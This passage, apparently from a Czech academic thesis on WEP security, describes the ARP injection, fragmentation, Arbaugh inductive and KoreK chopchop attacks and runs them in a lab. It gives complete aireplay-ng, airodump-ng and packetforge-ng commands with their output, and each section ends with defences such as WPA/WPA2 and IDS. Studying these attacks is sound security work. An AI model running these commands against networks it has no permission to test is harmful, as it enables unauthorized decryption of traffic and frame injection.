spojeni mezi stanici a serverem, ovladnuti spojeni, zvySeni provozu obsahujici ARP pro PTW
utok (KleinGv utok), atd.

K injekovani ramcu byla pouzita utilita z baliku Aircrack-ng, Aireplay-ng. Utilita dle zvolenych
parametrl, umoznuje deautentizaci klienta, faleSnou autentizaci a asociaci na AP,
interaktivni injekci ramcd, injekovani ARP ramcu, utok KoreK ChopChop, fragmentacni utok a
dalsi.

6.3.1 ARP injekce

Pro uskutecnéni ARP injekce je nutné mit alespon jednoho asociovaného klienta na
pristupovy bod. ARP injekce vyuziva faktu, Ze ARP ramce jsou v provozu snadno rozeznatelné
a to i v zasifrovanych datech. K rozezndni od ostatnich dat ndm napomUze jejich délka, a také
ARP request, ktery ma cilovou adresu FF:FF:FF:FF:FF:FF (broadcast). Opétovné vysilani ARP
request je velmi efektivni zpUsob jak generovat nové inicializa¢ni hodnoty. Pouzity program
ceka na pfrijeti ARP ramce, ktery nasledné odesle zpét na pfristupovy bod. To zplsobi, Ze
pfistupovy bod zopakuje APR ramec, ale s novym IV. Tento ARP ramec je znovu zaslan na
pristupovy bod, ktery jej zpracuje stejnym zplisobem. KaZzdy zopakovany ARP ramec
pristupovym bodem da novou hodnotu IV. [11]

Realizace ARP injekce

Pfed injekci ARP rdmc( bylo nutné nejprve kartu nastavit do monitorovaciho rezimu (viz.
kap. 3.4.1) a autentizovat a asociovat na AP. To je mozné pomoci faleSné autentizace(viz.
kap. 3.5.1) nebo zménou nasi MAC adresy na MAC adresu asociovaného klienta. Po Uspésné
autentizaci a asociaci je na rfadé vlastni injekce ARP ramc(. Tu je moZné také provést dvéma
zpUsoby:

1) ZpUsob, kdy si zachytime nejprve ARP ramec

# aireplay-ng -3 -b 00:50:7F:DF:1D:B0O -h 00:1D:E0:3D:9E:43 athO

09:37:54 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0) on channel 2

Saving ARP requests in replay arp-0414-093754.cap

You should also start airodump-ng to capture replies.

Read 31938 packets (got 9358 ARP requests and 6925 ACKs), sent 6962 packets...

(500 pps)
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Parametry uvedené v programu znamenaji nasleduijici:

-3 oznacCuje ARP request replay

-b MAC adresa pfistupového bodu

-h MAC adresa zdroje (bud asociovaného klienta, nebo nase po faleSné autentizaci)
ath0 jméno bezdratového rozhrani

Je nutné, aby byl nejprve zachycen jeden dobry ARP ramec. Pokud se nechce ARP injekce
spustit, nejjednodussim fesenim je provedeni deautentizace asociovaného klienta (viz. kap.
4.1.1). Ramce ARP byly posilany rychlosti priblizné 500 ramcG za sekundu. Vyslané ARP
ramce jsou uloZeny v souboru replay_arp-0414-093754.cap pfilozeném na CD. Vyslané ARP
rdmce je mozné zachytit programem airodump-ng.

2) Zpusob, kdy pouZijeme jiz dfive zachyceny rdmec

# aireplay-ng -2 -r replay_arp-0414-093754.cap athO

No source MAC (-h) specified. Using the device MAC (00:1D:E0:3D:9E:43)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:50:7F:DF:1D:BO

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:1D:E0:3D:9E:43
0x0000: 0841 2c00 0050 7fdf 1db0 001d e03d 9e43 .A,..P...... =.C
0x0010: ffff ffff ffff 503e 0300 0000 <875 al85 ...... P>..... u..
0x0020: 8adf 4683 43fc ac2f dfa9 3ceb d84d adlb ..F.C../..<..M..
0x0030: 1b70 6f46 b94a fe7b ad07 b43b 9518 d561 .poF.J.{...;...a
0x0040: 4c08 a40c L...

Use this packet ? y

Saving chosen packet in replay src-0414-093853.cap
You should also start airodump-ng to capture replies.

Sent 9158 packets... (500 pps)

Vyznam parametru:

-2 jde o injekci jakéhokoliv ramce
-r soubor obsahujici zachycené ARP ramce urceny k injekci
ath0  jméno bezdratového rozhrani

K ARP injekci byl pouzit soubor replay_arp-0414-093754.cap, ktery jsem odchytil v pfedchozi
Casti. Opét dochazi k ARP injekci pfibliznou rychlosti 500 rdmc( za sekundu.

Uspésna ARP injekce vede ke generovani ARP dotaz(l, na které pristupovy bod odpovida.
Zachyceni téchto ARP odpovédi od pfistupového bodu je moiné pomoci programu
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airodump-ng s vhodné zvolenymi parametry, kde --ch 2 oznacuje, na kterém kanalu ma
airodump-ng naslouchat, --ivs znamena, Ze budou uloZeny pouze zachycené IV, -w fika, do
jakého souboru budou zachycend data uloZeny a athO je jméno bezdratového rozhrani.

# airodump-ng --ch 2 --ivs -w arpinjection athO

CH 2 ][ Elapsed: 32 s ][ 2009-04-14 09:48

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:0A:E9:74:BB -1 0 0 0 0o -1 -1 VUTBRNO
00:50:7F:DF:1D:BO 42 0 308 9044 293 2 54. WEP WEP TEST DP
BSSID STATION PWR Rate Lost Packets Probes
00:11:0A:E9:74:BB 00:13:CE:10:27:8E 24 0-1 0 4  VUTBRNO
00:50:7F:DF:1D:BO0 00:1D:E0:3D:9E:43 46 1-12 3154 13738

V tomto pfipadé byly zachycené ARP ramce uloZeny do souboru arpinjection.ivs. Z tohoto
souboru je nasledné mozné pomoci programu aircrack-ng ziskat pouzity WEP kli¢ (viz. dale).

6.3.2 Ochrana viici injekci
Ochranou vic¢i ARP injekci muUZe byt pouZiti statickych ARP tabulek na jednotlivych
zarizenich. Tato metoda je vsak velice neefektivni z hlediska fizeni a Skalovatelnosti.

Efektivnéjsi metodou je pouZiti zabezpeceni WPA/WPA2, které neumoznuje znovupouZiti IV
a hlavi¢ka rdmce je chranéna pomoci MIC.

Proti injekci je také moZné se brdanit zavedenim IDS (Intrusion Detection System), ktery
umoznuje detekovani Utoku a nasledné protiopatreni.

6.4 Fragmentacni utok

Tvlrce utoku Andrea Bittau si vSiml, Ze standard IEEE 802.11 podporuje fragmentaci a této
vlastnosti vyuzil. Studie tohoto utoku je podrobné popsana v [12].

Utok vyuziva vlastnosti fragmentace, kterd dovoluje rozdélit velky ramec na diléi fragmenty a
tyto fragmenty odeslat samostatné. IEEE 802.11 umoziuje rozdéleni az na 16 fragmentd.
Jestlize se ndm podafi zjistit keystream délky n mGzeme vyslat libovolna data délky n — 4
byt (odecteno ICV). Jestlize chceme poslat paket vétsi délky, mGzeme jeho data rozdélit do
16 fragment( kazdy o délce n — 4 bytl. Kazdy ztéchto fragmentl je nasledné Sifrovan
samostatné znamym keystreamem a oznaden, Ze se jedna o fragment daného rdmce. Po
prijeti vSech fragmentl pristupovym bodem je slozen plvodni rdmec. Ten pfistupovy bod
zaSifruje s novym keystreamem a odesle jej jako jediny fragment. Princip je zobrazen na
obrazku Obr. 6.2.
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()

UTOCNIK

ToDS: 1
FromDS: 0

[#13] v |Datat|IvC1 | —)
[#23| v |[Data2|IVC2 | —)

[#33| v |[Data3|IVC3 | =) 1opsi0
FromDS: 1

{— |#111| v |Datat|Data2|Data3 | IVC |

Obr. 6.2: Priklad fragmentacniho uUtoku se 3 fragmenty

Ze znalosti pavodnich dat a zachyceného preposlaného fragmentu jsme schopni dopoditat
novy keystream o délce 16x(n —4) + 4 = 16xn — 60 byt( (napf. pro zndmy keystream délky n
= 8 byt ziskdme novy keystream délky 68 byta).

Jestlize tedy bude 64 byt dat posldano ve 4 bytovych fragmentech, pfistupovy bod preposle
68 bytl plaintextu. Nyni midZzeme poslat 64 bytl v kazdém z 16 fragment(l, ¢imz ziskdme
novy keystream o délce 1028 bytl. Pro ziskani celého 1500 bytového keystream staci odeslat
34 fragmenta.

Jestlize chceme ziskat i ostatni hodnoty keystreamu pro jednotlivé IV staci poslat data
zaSifrovana 1500 bytovym keystreamem bez nutnosti fragmentace a zachytavat preposlané
ramce od AP, které pokaZdé pouzije novy IV. Po vyslani = 2%* paketl je moZné vytvofit
kompletni slovnik IV. [12]

6.4.1 Realizace fragmentacniho utoku

Pro realizaci fragmentacniho Utoku byla karta nejprve prepnuta do monitorovaciho rezimu a
uspésné asociovana na AP. Pro fragmentacni utok byl pouZit program aireplay-ng
s parametrem -5, ktery pravé oznacuje fragmentacni utok. DalSi parametr —b je MAC adresa
pristupového bodu a —h oznacuje zdrojovou MAC adresu, kterou mlze byt MAC adresa
pouzité karty (nutna falesna autentizace) popr. MAC asociovaného klienta a parametr athO
oznacuje pouzité bezdratové rozhrani.
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# aireplay-ng -5 -b 00:50:7F:DF:1D:B0O -h 00:15:e€9:46:13:19 athO

10:12:23 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0) on channel 2
10:12:23 Waiting for a data packet...
Read 128 packets...

Size: 118, FromDS: 1, ToDS: 0 (WEP)
BSSID

Dest. MAC
Source MAC

00:50:7F:DF:1D:BO
FF:FF:FF:FF:FF:FF
00:1D:E0:3D:9E:43

0x0000: 0862 0000 ffff ffff ffff 0050 7fdf 1db0 .b......... P...
0x0010: 001d e03d 9e43 alcb 5f7b 9f00 dffb £f659 ...=.C.. {..... Y
0x0020: ae7a 46f0 2dcc de6b 0343 4536 70be lebc .zF.-..k.CE6p..\
0x0030: 6f54 0139 3836 bd3c 7d86 13c7 bbb6 2551 0T.986.<}..... %Q
0x0040: 7b58 7e98 1855 3dae 765d 6182 1la3 8ca7 {X~..U=.v]a.....
0x0050: 3eab 424f 4133 f7fc e59%e 2053 f6f5 b878 >.BOA3.... S...x
0x0060: 73de eeel 7dlb 8c00 2861 aled 48e9 6edd s...}...(a..H.n.
0x0070: 1b80 7060 17d2 ..p°

Use this packet ? vy

Saving chosen packet in replay src-0414-101235.cap

10:12:38 Data packet found!

10:12:38 Sending fragmented packet

10:12:38 Got RELAYED packet!!

10:12:38 Trying to get 384 bytes of a keystream

10:12:38 Got RELAYED packet!!

10:12:38 Trying to get 1500 bytes of a keystream

10:12:38 Got RELAYED packet!!

Saving keystream in fragment-0414-101238.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Program se zeptd, zda ma pouzit zachyceny paket. Vysledkem je ziskany keystream o délce
1500 byt( uloZeny do souboru fragment-0410-094523.xor. Ten je mozné poutZit k zasifrovani
rdmce pomoci programu packetforge-ng a nasledné injekovat, nebo k deSifrovani
zasifrovanych paketa.

o ve

6.4.2 Ochrana viici fragmentacnimu utoku

Fragmenta¢nimu Utoku se lze branit opét nékolika zpUsoby. Jednim znich je pouzit
pristupovy bod, které neptijima kratké ramce. Dalsi moznosti je zabranéni opakovani se IV se
stejnou hodnotou a v neposledni radé pouziti WPA/WPA2.

6.5 Arbaugh indukéni Gtok

V kvétnu 2001 popsal William A. Arbaugh ve své praci [13] indukéni utok, ktery umoziiuje
prodlouzit zndmy keystream RC4 délky n na libovolnou délku. Arbaugh byl prvni, kdo
prokazal, Ze ICV lze pouzit k rozsifeni keystreamu vyuzitim zaSifrovaného rdmce byte po
bytu. Postup lze rozdélit na ziskani inicializacni hodnoty keystream a na indukéni krok.

Inicializa¢ni hodnotu keystream délky n Ize ziskat napf. ze znamych zprav jakou jsou ARP diky
jejich délce a MAC adresy cile (broadcast). To ndm dovoluje ziskat keystream délky n = 24
k danému IV.
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Vindukénim kroku nejprve vytvofime ramec s daty o délce n — 3 byty. Pro tento rdmec
vypocitdme ICV, ale kramci pfipojime jen prvni 3 byty. Nasledné provedeme XOR
s keystreamem délky n. K zasifrovanym datdm pfidame hlavicku, IV a dalsi byte X (viz. Obr.
6.3).

Obr. 6.3: Induktivni krok v indukénim utoku

Nyni vySleme rdmec a ¢ekdme na odpovéd. Jestlize nedostaneme odpovéd, zkusime jinou
hodnotu. Pokud obdrZzime odpovéd' (vyslali jsme napf. ICMP nebo ARP), vime, Ze hodnota X
byla spravné. Byte n + 1 keystream RC4 obdrzime provedenim XOR mezi poslednim bytem
ICV (Ctvrtym bytem) a bytem X (viz. Obr. 6.4).

" S— -8
o T

. n+ 1 byte
znamy text

[ Keystream(n) | DR e
— Sifrovanych dat
. n+ 1 byte
keystreamu
L |
I
n+1

Obr. 6.4: Ziskani n + 1 bytu keystream RC4 pfi indukénim Gtoku

Timto zplGsobem jsme ziskali n + 1 bytl keystreamu RC4, pro ziskani dalSich hodnot opét
pokracujeme indukénim zplsobem aZ do poZadované délky.
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6.5.1 Ochrana proti indukénimu utoku

Ochranou proti indukénimu utoku by mohla byt modifikace CRC, kterd vSak neni mozna.
Nejlepsi ochranou je opét pouzit RSN neboli WPA/WPA2, kterd pouziva pro vypocet integrity
dat algoritmus MIC.

6.6 KoreK chopchop utok

V zati 2004 byl poprvé zverejnén na féru www.netstumbler.org koncept chopchop utoku
osobou vystupujici pod prezdivkou KoreK. KoreK chopchop utok umoZnuje deSifrovat
jakykoliv libovolny ramec zasifrovany pomoci WEP bez znalosti keystream, pomoci kterého
byl zasifrovan. Chopchop utok je zaloZzen na Arbaughové indukénim Gtoku. Tento Utok muze
byt bran také jako inverzni verzi Arbaughova indukéniho Utoku (viz. kap. 6.5)nebo naopak.

6.6.1 Princip KoreK chopchop utoku

Bezdratové sité k ovéreni pravosti dat pouzivaji pole ICV o velikosti 4 byty, které je pocitano
pomoci CRC-32. Algoritmus CRC-32 byl navrien pro detekci chyb, ne vSak ke kryptografickym
ucelim. Nevyhoda algoritmu CRC-32 je jeho linedrnost.

KoreK se zaméfil na vypocet ICV a objevil, Ze pfi odstranéni posledniho bytu z ramce existuje
maska zmén ICV, ktera je zavisla jen na poslednim bytu neSifrované datové casti ramce.
Méjme ramec 1, kde D oznacuje data, | oznaduje ICV, K znacdi jednotlivé byty keystream a R
jsou zaSifrované byty ramce (viz. obr. 6.5).

Ramec 1

DATA ICV
DO [ D1 [D2 D3 |D4]| 13 [ 1211 ][I0

XOR
| KO [ K1 [ K2 | K3 | K4 | K5 [ K6 | K7 | K8 |

| RO[R1[R2| R3| R4 | R5 [ R6 | R7 | R8 |

Obr. 6.5: Rdmec 1 pro utok KoreK chopchop

Jestlize prfidame jeden datovy byte, ziskame Ramec 2, kde J jsou byty ICV a S jsou zaSifrovana
data (viz. Obr. 6.6).
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Ramec 2

DATA ICV
DO [ D1 [ D2 [ D3 [ D4 | D5] J3 [ J2 ] J1]Jo

XOR
| KO [ K1 [ K2 | K3 | K4 | K5 | K6 | K7 | K8 | K9 |

| S0 | s1|s2|s3[s4|[s5]s6]|s7]|s8]s9|

Obr. 6.6: Rd&mec 2 pro utok KoreK chopchop

Z rdmce 2 je mozné prejit na rdmec 1 odfiznutim posledniho bytu datového bytu z rémce 2 a
zkusime uhodnout hodnotu, kterou ziskdme z 13 XOR D5. Tuto hodnotu nazveme X (X = 13
XOR D5, jedna z 256 mozZnosti). Byty DO az D4 zlstanou stejné. Je tedy nutné dopocitat
hodnoty R5 aZ R8.

Zramce 1 zname: I3 XOR K5 = R5

Z ramce 2 zname: D5 XOR K5 =S5

Eliminaci bytu K5 z obou rovnic ziskame: 13 XOR R5 = D5 XOR S5
Potom tedy R5 =13 XOR D5 XOR S5 = X XOR S5

Byty R6 aZz R8 dopocitame jednim zpétnym krokem CRC, zaloZeném na predpokladané
hodnoté X. Existuje tu shoda mezi byty 12 — 10 a J3 — J1 jelikoZ vypoctem je pouze posuneme
zpét, ale D5 jim vrati plvodni pozici.

Byte JO pak zavisi pouze na hodnoté X. Posledni byte K9 ziskdme jako XOR byt( JO a S9. Timto
tedy ziskdme posledni byte zprdvy a posledni byte keystremu.[14]

Hodnotu X ziskdme pomoci pokusu a omylu vyzkousenim 256 mozZnosti. Pristupovy bod
zahodi neplatné ramce a prozradi sprdvnou hodnotu X. Opakovdnim tohoto postupu na
stejny ramec o 1 byte kratsi ziskdme ostatni hodnoty keystreamu (K8, K7, .., KO).

Utok KoreK chopchop je mozné realizovat dvéma zpdsoby:
1) s autentizaci a asociaci (je moznd komunikace mezi stanicemi);

2) bez autentizace a asociace (neni moznad komunikace mezi stanicemi, resp. stanice
jsou izolovany, poptipadé na AP neni pfipojena Zadna stanice).

Ad 1)

Pro tento utok byl pouZit upraveny ramec, ktery obsahoval zdrojovou MAC adresu
existujictho pripojeného klienta a cilovou MAC adresu zrozsahu 256 MAC adres
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odpovidajicich dané hodnoté X. Pokud tento vyslany ramec AP pfeposle (souhlasi ICV),
znamena to, Ze nas odhad hodnoty X byl spravny. Na obrazku Obr. 6.7 je vidét, jak
z odchyceného radmce jsme na zakladé cilové MAC adresy schopni zjistit spravnou hodnotu X.

Odhad 0x00 :> (( ))
Odhad 0x01 — AP
Preposlani ramce

Odhad 0xFF |:“>
Odeslani véech odhadu obsahuijici spravny odhad
<):| Odhad 0xDA

Obr. 6.7: KoreK chopchop s overenim

UTOCNIK

Ad 2)

Pfedchozi variantu Utoku je mozné znemoznit prenastavenim AP tak, Ze izoluje jednotlivé
stanice. Pristupovy bod pak nasledné neumoini komunikaci mezi klienty, ¢imz variantu
s ovéfenim neni mozné pouzit, protoZze nedostaneme od AP odpovéd, zda jsme uhodli
hodnotu X.

Tato varianta KoreK chopchop utoku nevyZaduje faleSnou autentizaci a jeji princip je
znazornén na obrazku Obr. 6.8. Vyuziva vlastnosti odeslani deautentizacniho ramce
v pripadé pfijeti rdmce pristupovym bodem od stanice, kterad neni ptipojena, aby tuto stanici
odpojil. VSechny vyslané ramce obsahuji zdrojovou MAC adresu z rozsahu 256 MAC adres
odpovidajicich dané hodnoté X a cilovou MAC adresu nastavenu na broadcast
(FF:FF:FF:FF:FF:FF). Jestlize hodnota X byla spravnd, pfistupovy bod odesle deautentizacni
ramec s cilovou MAC adresou odpovidajici spravné hodnoté X.

Odhad 0x00 —> )
Odhad 0x01 —> AP
Zaslani deauth. Ramce na

Odhad O0xFF |:‘>
spravnou MAC adresu
=

Obr. 6.8: KoreK chopchop na zakladé deautentizace

UTOCNIK

Odeslani véech odhadl

6.6.2 Realizace utoku KoreK chopchop s autentizaci a asociaci

Pro realizaci tohoto Utoku bylo nutno nejprve prepnout kartu do monitorovaciho rezimu (viz.
kap. 3.4.1) a nasledné asociovat ji na AP. To je mozné opét dvéma zpUsoby. Zaprvé faleSnou
autentizaci (viz. kap. 4.5.1) nebo zménou MAC adresy na MAC adresu asociovaného klienta.
Nejprve jsem proved| Utok pomoci falesSné autentizace nasledujicim pfikazem:
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#aireplay-ng -4 -b 00:50:7F:DF:1D:BO -h 00:1D:E0:3D:9E:43 athO

Kde:

-4 urcuje typ utoku (KoreK chopchop)

-b MAC adresa pristupového bodu

-h MAC adresa nasi karty (musi odpovidat MAC, ktera byla pouzita pfi falesné
autentizaci)

athO rozhrani bezdratového rozhrani

Predesly prikaz zplsobi, Ze vSechny pakety budou odeslany se zdrojovou MAC adresou
specifikovanou parametrem —h. Cilovd MAC adresa se bude liSit v rozmezi 256 kombinaci,
odpovidajici hodnoté X.

Odpoveéd systému:

10:42:33 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0) on channel 2

Size: 359, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:50:7F:DF:1D:BO
Dest. MAC = 00:1D:E0:3D:9E:43
Source MAC = 00:50:7F:DF:1D:BO
0x0000: 0842 3000 001d e03d 9e43 0050 7fdf 1db0 .BO....=.C.P...
0x0010: 0050 7fdf 1db0 20ca fcd5 c900 b52c dOde Poos oo P
0x0020: Dbddb b7fa 84a6 39a0 afc3 f195 7df7 92b4 .K....9..... b
0x0030: Dbeb9 d963 bcbc 7b82 6d29 93e3 c6lb 8b58 ...c.\{.m)..... X
0x0040: 1b3b 4227 b841 db95 eefb efcl 4d9%c o6ffa .;B'.A...... M.o.
0x0050: af00 0d04 e263 d620 107b ad4fd 1d54 94%9b ..... c. .{...T..
0x0060: 187a 7bed e289 fe80 b4d9 a84a 1672 53d8 .z{........ J.rS.

0x0070: 7b58 52al 2c80 6a7d 305c 7584 7687 d2ca {XR.,.j}0\u.v...
0x0080: 1854 b86a 942a 82af 76d4 7daf 5957 0396 .T.j.*..v.}.YW..
0x0090: T7ce0 £882 do2c alOcO 3f64 4556 a391 a9a6 | eee., .. 2dEV. ...
0x00a0: 9c40 576d c29e 6a7a ca23 7fd9 e3ef d019 .Q@Wm..jz.#.....

0x00b0: 6845 671d 952f 8e6l e566 b828 5efd 762b hEg../.a.f.(".v+

0x00c0: bcl3 ebdd £92f b401 4016 3bd4 9327 7920 ..... /.o.@pl 'y
0x00d0: £511 5e37 fdcd 2c64 df13 f8a3 38e6 cf73 .."7..,d....8..s
--- CUT ---

Use this packet ? vy

Saving chosen packet in replay src-0414-104234.cap

Pffset 358 ( 0% done) | xor = 54 | pt = 9E | 340 frames written in 5784ms
Pffset 357 ( 0% done) | xor = F8 | pt = F7 | 371 frames written in 6309ms
Pffset 356 ( 0% done) | xor = 1D | pt = 4D | 427 frames written in 7254ms
Offset 36 (99% done) | xor = Cl | pt = 45 | 18 frames written in 306ms
Dffset 35 (99% done) | xor = FA | pt = 00 | 229 frames written in 3893ms
Offset 34 (99% done) | xor = BF | pt = 08 | 147 frames written in 2498ms

Saving plaintext in replay dec-0414-104643.cap
Saving keystream in replay dec-0414-104643.xor

Completed in 240s (1.34 bytes/s)

Ze zachyceného ramce byl ziskan deSifrovany plaintext a jeden keystream. DeSifrovany
plaintext byl uloZzen do souboru replay_dec-0414-104643.cap a keystream do souboru
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replay_dec-0414-104643.xor. Keystream se da nasledné pouzit pro sestaveni libovolného
ramce. Bé€Znym uZivatelem je tento Utok nezjistitelny, nebot rdmce se $patnou hodnotou ICV
jsou zahozeny.

Vyzkousel jsem tento uUtok i se zménénou MAC adresou na MAC adresu jiZz asociovaného
klienta se stejnym prikazem.

’

Vystup byl nasledujici:

# aireplay-ng -4 -b 00:50:7F:DF:1D:B0O -h 00:1D:E0:3D:9E:43 athO

11:19:17 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0O) on channel 2
Read 2 packets...

Size: 118, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:50:7F:DF:1D:BO

Dest. MAC FF:FF:FF:FF:FF:FF
Source MAC 00:1D:E0:3D:9E:43

0x0000: 0841 2c00 0050 7fdf 1db0 001d e03d 9e43 .A,..P...... =.C
0x0010: ffff ffff ffff 3078 3803 f000 c3d3 b7ba ...... 0x8.......
0x0020: 2b0d 0338 9d2b bb8a dd3d b48f 52ed acle +..8.+...=..R...
0x0030: 0d39 04bl ffO0a 2056 3158 1593 7c49 dbe7 .9.... VIX..|I..
0x0040: d531 62ce 8abf ab3a bced a43a fe63 63e7 .lb..o.:...:.ccC.
0x0050: 5e05 46e8 e496 cfe6 0afl c791 a521 fc4db ".F..........!.K
0x0060: 6dfc afd4a 5081 8849 1c71 4611 a60e 1435 m..JP..I.gF....5
0x0070: 79a4 ldaa 9c3f Veoooo

Use this packet ? y

Saving chosen packet in replay src-0414-111918.cap

Offset 117 ( 0% done) | xor = AB | pt = 94 | 169 frames written in 2888ms
Offset 116 ( 1% done) | xor = 9E | pt = 02 | 211 frames written in 3587ms
Offset 115 ( 2% done) | xor = C8 | pt = 62 | 87 frames written in 1479ms
Offset 36 (96% done) | xor = D8 | pt = 45 | 18 frames written in 306ms
Offset 35 (97% done) | xor = 38 | pt = 00 | 229 frames written in 3893ms
Offset 34 (98% done) | xor = 0B | pt = 08 | 147 frames written in 2499ms

Saving plaintext in replay dec-0414-111946.cap
Saving keystream in replay dec-0414-111946.xor

Completed in 23s (3.48 bytes/s)

6.6.3 Realizace utoku KoreK chopchop bez autentizace a asociace

V tomto ptipadé je bylo nutné opét pfepnout kartu do monitorovaciho rezimu (viz. kap.
1.4.1) avsak jiz se neprovadéla autentizace a asociace k pfistupovému bodu. Tuto variantu
utoku je mozné pouzit v pfipadé, Ze AP neumoznuje komunikaci mezi uzZivateli nebo pokud
na pfistupovém bodu neni asociovana Zadna stanice.

Ke spusténi utoku byl pouZit stejny prikaz jako pro variantu s autentizaci a asociaci, byl vSak
vynechdam parametr -h, protoZe se neprovadi falesSnd autentizace.

# aireplay-ng -4 -b 00:50:7F:DF:-1D:B0O athO
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Vystup systému byl nasledujici:

11:57:21 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0O) on channel 2
Read 1293 packets...

Size: 277, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:50:7F:DF:1D:BO

Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC 00:11:09:10:E9:64

0x0000: 0842 0000 ffff ffff ffff 0050 7fdf 1db0 .B......... P...
0x0010: 0011 0910 e964 50c0 9fdf 8b00 5aaf 632a ..... dP..... Z.c*
0x0020: 27e4 2cb5 lfee e213 le2f deba 8388 8ff0 '.,...... [l ..
0x0030: 7461 3973 f0bc 9cf5 1876 Oeaf 2688 b80a tad9s..... Ve.&...
0x0040: ebf4 09e5 809f cc42 9ed9 dOc5 2£50 1d60 ....... B..../P."
0x0050: 420e eab6 6adc 5c57 1923 ebe9 226a 8c2d B..fjL\W.#.."j.-
0x0060: c73e 56df 44df 20ad4 c88f c42d adb4 78ba .>V.D. ....-..X.
0x0070: 4d0f 1570 ad44 del2 ce7b 2236 6e62 8fad M..p.D...{"6nb..
0x0080: ec7a dcbb el50 68f1 5cf7 ale7 9089 7156 .z.[.Ph.\..... qVv
0x0090: 6c24 6e60 e3df 2359 4c0f 0930 d909 1a09 1Sn ..#YL..O0....
0x00a0: a72d 1088 £7b7 5176 272d 70bl 3b9%4 1579 .-....Qv'-p.;..Vy
0x00b0: 23f3 a000 2838 d7f5 2181 edel e2da f6ed #...(8..01.......
0x00c0: 5838 5a%a 6620 dlfb 1171 e01f 7375 590a X8Z.f ...g..suY.
0x00d0: d56d 0cl9 2544 8211 9ff8 9778 df82 1b7d .m..%D..... X...}
--- CUT ---

Use this packet ? y

Saving chosen packet in replay src-0414-115852.cap

Offset 276 ( 0% done) | xor = EC | pt = 43 | 265 frames written in 4521ms
Offset 275 ( 0% done) | xor = A7 | pt = 71 | 489 frames written in 8311lms
Offset 274 ( 0% done) | xor = 85 | pt = D4 | 657 frames written in 11165ms
Offset 36 (98% done) | xor = 5A | pt = 45 | 38 frames written in 648ms
Offset 35 (99% done) | xor = B5 | pt = 00 | 229 frames written in 3892ms
Offset 34 (99% done) | xor = 24 | pt = 08 | 147 frames written in 2499ms

Saving plaintext in replay dec-0414-120736.cap
Saving keystream in replay dec-0414-120736.xor

Completed in 486s (0.49 bytes/s)

Pro nazornost vypis z programu airodump-ng ukazuje, Ze byly pouzity riizné MAC adresy pro
jednotlivé hodnoty X.
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# airodump-ng --ch 2 athO

CH 2 ][ Elapsed: 56 s ][ 2009-04-14 12:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:50:7F:DF:1D:BO 43 100 89 1 0 2 54. WEP WEP
TEST DP
BSSID STATION PWR Rate Lost Packets Probes
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:77 44 0- 1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:76 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:75 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:74 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:73 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:72 44 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:71 43 0- 1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:70 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:66 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:65 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:64 44 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:63 43 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:62 44 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:61 44 0-1 0 1
00:50:7F:DF:1D:BO0 00:05:B7:2D:60:60 42 0-1 0 1

Zachycené ramce byly uloZzeny do soubor( vypsanych vySe a je moZné je pouiZit jako
v predeslé varianté utoku. Jednotlivé soubory jsou uloZeny na prilozeném CD.

o ve

6.6.4 Ochrana viici KoreK chopchop utoku
Ochrana proti utoku KoreK chopchop by bylo zamezeni vysilani velkého poctu ramcl se
stejnou hodnotou IV.

U nékterych pfistupovych bod( je tento Utok neucinny protoze AP zahazuji ramce kratsi 60
byt. V pfipadé dlouhych zachycenych rdmcl vSak porad zUstava moZnost pouZiti zbyvajicich
bytu k desifrovani popf. k vytvoreni vlastniho rdmce.

Omezeni chopchop utoku je stejné jako v pripadé ostatnich aktivnich utoku. Jelikoz aktivni
injekce je mozné zjistit pomoci IDS.

Nejefektivnéjsi metodou zabezpeceni proti tomuto utoku je pouzZiti zabezpecleni
WPA/WPA2.

6.7 Vytvoreni ramce

Ziskané keystream z fragmentacniho a KoreK chopchop utoku je mozné vyuzit k sestaveni
vlastniho ramce a nasledné jej injekovat do sité. K vytvoreni ramce neni potfeba znat kli¢
pouzity k Sifrovani, staci pouze zachyceny keystream. Utilita packetforge-ng obsazena
v baliku aircrack-ng umoznuje vytvorit ARP ramce, UDP ramce, null rdmce neobsahujici
zadna data a uzivatelské ramce nesouci data, které uto¢nik pozaduje. K vytvoreni ARP ramce
slouzi nasledujici pFikaz:
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#packetforge-ng -0 -a 00:50:7F:df:1d:b0 -h 00:15:€9:46:13:19 -k
255.255.255.255 -1 255.255.255.255 -y fragment-0414-101238.x0or -w arp-
request

Wrote packet to: arp-request

Kde:

-0 znaci vytvoreni ARP ramce

-a MAC adresa pfistupového bodu

-h zdrojova MAC adresa, kterou chceme pouzit
-k cilova IP

| zdrojova IP
-y keystream pouzity k Sifrovani
-w uloZeny, vytvoreny ramec

JelikoZ v soucasné dobé vétsina pristupovych bodl nerozliSuje pouZitou zdrojovou a cilovou
IP stanice je mozné pouZit broadcastovou adresu (255.255.255.255).
